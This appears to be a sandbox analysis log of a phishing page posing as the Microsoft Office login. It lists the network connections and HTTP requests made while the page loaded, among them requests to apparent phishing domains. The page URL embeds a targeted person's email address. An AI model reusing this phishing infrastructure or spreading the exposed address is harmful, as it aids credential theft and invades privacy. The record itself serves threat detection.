Source: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=cesar.lopez@royalbrinkman.com	HTTP Parser: No <meta name="copyright".. found
Source: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=cesar.lopez@royalbrinkman.com	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.52.182.8:443 -> 192.168.2.7:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.24.109:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.7:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.7:49904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:50021 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 151.101.193.229 151.101.193.229
Source: Joe Sandbox View	IP Address: 151.101.129.229 151.101.129.229
Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81
Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81

Source: Joe Sandbox View

ASN Name: AMAZON-AESUS AMAZON-AESUS

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 23.52.182.8
Source: unknown	TCP traffic detected without corresponding DNS query: 23.52.182.8
Source: unknown	TCP traffic detected without corresponding DNS query: 23.52.182.8
Source: unknown	TCP traffic detected without corresponding DNS query: 23.52.182.8
Source: unknown	TCP traffic detected without corresponding DNS query: 23.52.182.8
Source: unknown	TCP traffic detected without corresponding DNS query: 23.52.182.8
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 23.52.182.8
Source: unknown	TCP traffic detected without corresponding DNS query: 23.52.182.8
Source: unknown	TCP traffic detected without corresponding DNS query: 23.52.182.8
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.24.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200

Source: global traffic	HTTP traffic detected: GET /hustines/luketurg/runever.js HTTP/1.1Host: cloudio.smartestenergy.icuConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /hustines/luketurg/runever.js HTTP/1.1Host: cloudio.smartestenergy.icuConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fl/m6kgte57 HTTP/1.1Host: autenticatorresolver.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /npm/bootstrap@5.0.2/dist/css/bootstrap.min.css HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://autenticatorresolver.onlinesec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://autenticatorresolver.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/global/pdf/css/app.css HTTP/1.1Host: autenticatorresolver.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://autenticatorresolver.online/fl/m6kgte57Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/global/pdf/css/conf.css HTTP/1.1Host: autenticatorresolver.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://autenticatorresolver.online/fl/m6kgte57Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/global/pdf/css/conn.css HTTP/1.1Host: autenticatorresolver.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://autenticatorresolver.online/fl/m6kgte57Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/@popperjs/core@2.11.8/dist/umd/popper.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://autenticatorresolver.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/bootstrap@5.3.3/dist/js/bootstrap.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://autenticatorresolver.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /npm/@popperjs/core@2.11.8/dist/umd/popper.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/bootstrap@5.3.3/dist/js/bootstrap.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cYSWKApBAAmNCwl&MD=lahYyaWK HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
